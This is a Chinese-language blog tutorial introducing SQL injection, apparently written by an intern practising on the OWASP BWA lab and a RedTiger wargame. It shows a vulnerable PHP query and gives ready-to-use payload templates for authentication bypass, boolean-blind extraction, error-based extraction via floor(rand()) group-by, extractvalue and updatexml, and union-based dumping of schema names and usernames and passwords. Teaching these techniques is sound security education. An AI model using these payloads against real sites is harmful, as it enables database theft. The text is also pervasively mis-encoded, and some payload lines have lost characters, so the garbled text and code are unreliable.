摘要：原理分析關(guān)于錯誤回顯基于錯誤回顯的注入就是通過語句的矛盾性來使數(shù)據(jù)被回顯到頁面上。因?yàn)?，注入可以直接返回信息而不是布爾值?/p>

實(shí)習(xí)期間的主要工作是研究 WEB 安全，剛開始的時候，研究的主要是 SQL 注入，因?yàn)橹皼]有搞過安全，所有費(fèi)了好長一段時間對 SQL 注入基本知識進(jìn)行了解。這篇文章并不是什么很深入的技術(shù)博客，或許應(yīng)該叫它‘ SQL注入掃盲 ’。

SQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務(wù)器執(zhí)行，最終達(dá)到欺騙服務(wù)器或數(shù)據(jù)庫執(zhí)行惡意的 SQL 命令。

學(xué)習(xí) SQL 注入，首先要搭一個靶機(jī)環(huán)境，我使用的是 OWASP BWA，感興趣的可以去官網(wǎng)下載一個安裝，除了 SQL 注入，很多靶機(jī)環(huán)境都可以在 BWA 中找到，它專門為 OWASP ZAP 滲透工具設(shè)計的。

$id?=?$_GET["id"];
$getid?=?"SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"$id"";
$result?=?mysql_query($getid)?or?die("
"?.?mysql_error()?.?"
"?);
$num?=?mysql_numrows($result);?

這是一個很簡單的 PHP代碼，從前臺獲得 id 的值，交給數(shù)據(jù)庫來執(zhí)行，把結(jié)果返回給前臺。

比如我們在 OWASP 里輸入 id = 1，點(diǎn)擊 Submit，返回結(jié)果如下：

稍微懂一點(diǎn)后臺或者數(shù)據(jù)庫的人都知道，上面的那段代碼是有嚴(yán)重問題的，沒有對 id 的值進(jìn)行有效性、合法性判斷。也就是說，我們在 submit 輸入框輸入的如何內(nèi)容都會被提交給數(shù)據(jù)庫執(zhí)行，比如在輸入框輸入1" or "1"="1，執(zhí)行就會變成：

//原先要在數(shù)據(jù)庫中執(zhí)行的命令
SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"1"
//變成
SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"1" or "1"="1"

注意一下單引號，這是 SQL 注入中非常重要的一個地方，所以注入代碼的最后要補(bǔ)充一個 "1"="1讓單引號閉合。

由于 or 的執(zhí)行，會把數(shù)據(jù)庫表 users 中的所有內(nèi)容顯示出來，

下面對三種主要的注入類型進(jìn)行介紹。

首先不得不講SQL中的AND和OR
AND 和 OR 可在 WHERE 子語句中把兩個或多個條件結(jié)合起來。
AND:返回第一個條件和第二個條件都成立的記錄。
OR:返回滿足第一個條件或第二個條件的記錄。
AND和OR即為集合論中的交集和并集。
下面是一個數(shù)據(jù)庫的查詢內(nèi)容。

mysql> select * from students;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

會發(fā)現(xiàn)and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。
這便是最基礎(chǔ)的boolean注入,以此為基礎(chǔ)你可以自由組合語句。

字典爆破流

and exists(select * from ?)     //?為猜測的表名
and exists(select ? from x)     //?為猜測的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?)       //判斷數(shù)據(jù)庫名的長度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>"?")
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<"?")      //利用二分法判斷第一個字符

根據(jù)前面的介紹，我們知道，對于基于Boolean-based的注入，必須要有一個可以正常訪問的地址，比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個可以正常訪問的記錄，說明id=1的記錄是存在的，下面的都是基于這個進(jìn)一步猜測。先來判斷一個關(guān)鍵字keyword的長度，在后面構(gòu)造id=1 and (select length(keyword) from table)=1，從服務(wù)器我們會得到一個返回值，如果和先前的返回值不一樣，說明and后面的(select length(keyword) from table)=1返回false，keyword的長度不等于1。繼續(xù)構(gòu)造直到id=1 and (select length(keyword) from table)=15返回true，說明keyword的長度為15。

為什么我們剛開始一定要找一個已經(jīng)存在的id，其實(shí)這主要是為了構(gòu)造一個為真的情況。Boolean-based就是利用查詢結(jié)果為真和為假時的不同響應(yīng)，通過不斷猜測來找到自己想要的東西。

對于keyword的值，mysql數(shù)據(jù)庫可以使用substr(string, start, length)函數(shù)，截取string從第start位開始的length個字符串id=1 and (select substr(keyword,1,1) from table) ="A"，依此類推，就可以獲得keyword的在數(shù)據(jù)庫中的值。
Boolean-based的效率很低，需要多個請求才能確定一個值，盡管這種代價可以通過腳本來完成，在有選擇的情況下，我們會優(yōu)先選擇其他方式。

基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上。

所用到的函數(shù)

count() 統(tǒng)計元祖的個數(shù)（相當(dāng)于求和）
如select count(*) from information_schema.tables;  

rand()用于產(chǎn)生一個0~1的隨機(jī)數(shù)  

floor()向下取整  

group by 依據(jù)我們想要的規(guī)矩對結(jié)果進(jìn)行分組  

concat將符合條件的同一列中的不同行數(shù)據(jù)拼接，以逗號隔開

第一種： 基于 rand() 與 group by 的錯誤

利用group by part of rand() returns duplicate key error這個bug，關(guān)于rand()函數(shù)與group by 在mysql中的錯誤報告如下：

**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**

這個bug會爆出duplicate key這個錯誤，然后順便就把數(shù)據(jù)偷到了。
公式：username=admin" and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數(shù)據(jù)的sql語句))x from information_schema.tables group by x )a) and "1" = "1

第二種： XPATH爆信息

這里主要用到的是ExtractValue()和UpdateXML()這2個函數(shù)，由于mysql 5.1以后提供了內(nèi)置的XML文件解析和函數(shù)，所以這種注入只能用于5.1版本以后使用

查看sql手冊

語法：EXTRACTVALUE (XML_document, XPath_string);
第一個參數(shù)：XML_document是String格式，為XML文檔對象的名稱，文中為Doc
第二個參數(shù)：XPath_string (Xpath格式的字符串) ，如果不了解Xpath語法，可以在網(wǎng)上查找教程。

作用：從目標(biāo)XML中返回包含所查詢值的字符串

語法:UPDATEXML (XML_document, XPath_string, new_value);
第一個參數(shù)：XML_document是String格式，為XML文檔對象的名稱，文中為Doc
第二個參數(shù)：XPath_string (Xpath格式的字符串) ，如果不了解Xpath語法，可以在網(wǎng)上查找教程。
第三個參數(shù)：new_value，String格式，替換查找到的符合條件的數(shù)據(jù)

作用：改變文檔中符合條件的節(jié)點(diǎn)的值

現(xiàn)在就很清楚了，我們只需要不滿足XPath_string(Xpath格式)就可以了，但是由于這個方法只能爆出32位，所以可以結(jié)合mid來使用
公式1：username=admin" and (extractvalue(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語句)))) and "1"="1
公式2：username=admin" and (updatexml(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語句)),1)) and "1"="1

基于錯誤回顯的注入，總結(jié)起來就一句話，通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上，但有時候局限于回顯只能回顯一條，導(dǎo)致基于錯誤的注入偷數(shù)據(jù)的效率并沒有那么高，但相對于布爾注入已經(jīng)提高了一個檔次。

要了解union query injection，首先得了解union查詢，union用于合并兩個或更多個select的結(jié)果集。比如說

SELECT username, password FROM account;

結(jié)果是

admin 123456

SELECT id, title FROM article

的結(jié)果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的結(jié)果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入，union注入相對輕松。因?yàn)?，union注入可以直接返回信息而不是布爾值。前面的介紹看出把union會把結(jié)果拼拼到一起，所有要讓union前面的查詢返回一個空值，一般采用類似于id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //數(shù)據(jù)庫名  
+--------------------+
| name               |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| rumRaisin          |
| t3st               |
| test               |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema="t3st";    //表名
+----------+
| name     |
+----------+
| master   |
| students |
+----------+
2   rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = "students" ;     //列名
+------+
| name |
+------+
| id   |
| name |
| age  |
+------+
3 rows in set (0.00 sec)

UNION 操作符用于合并兩個或多個 SELECT 語句的結(jié)果集。請注意，UNION 內(nèi)部的 SELECT 語句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。同時，每條 SELECT 語句中的列的順序必須相同。

舉個例子，還以最開始的 OWASP 為基礎(chǔ)，返回了兩個值分別是 first_name 和 sur_name，可想而知，服務(wù)器在返回數(shù)據(jù)庫的查詢結(jié)果時，就會把結(jié)果中的第一個值和第二個值傳給 first_name 和 sur_name，多了或少了，都會引起報錯。

所以你如果想要使用union查詢來進(jìn)行注入，你首先要猜測后端查詢語句中查詢了多少列，哪些列可以回顯給用戶。

猜測列數(shù)

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到頁面正常顯示

比如這條語句

-1 UNION SELECT 1,2,3,4

如果顯示的值為3和4，表示該查詢結(jié)果中有四列，并且第三列和第四列是有用的。則相應(yīng)的構(gòu)造union語句如下

-1 UNION SELECT 1,2,username,password FROM table

SQL 注入大概有5種，還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時間延遲)，堆棧就是多語句查詢，用 ‘;’ 把語句隔開，和 union 一樣；時間延遲就是利用 sleep() 函數(shù)讓數(shù)據(jù)庫延遲執(zhí)行，偷數(shù)據(jù)的速度很慢。(還有一個第六種，內(nèi)聯(lián)注入，但和前面涉及的內(nèi)容有所重疊，就不多帶帶來討論了)寫這篇文章的時候，也是剛剛接觸 markdown 的時候，很多格式都不規(guī)范，比如中英文之間半角的空格都沒有，大家就且看且無視吧。

引用說明，自己之前研究 SQL 注入的時候，也是一點(diǎn)一點(diǎn)摸索的，本博客的大部分內(nèi)容是來自于公司內(nèi)網(wǎng)的服務(wù)器中(公司定期考核，看你都干了什么)。當(dāng)時因?yàn)槭莾?nèi)網(wǎng)，就沒有做引用，現(xiàn)在想找到這些引用的文章也很困難，見諒。

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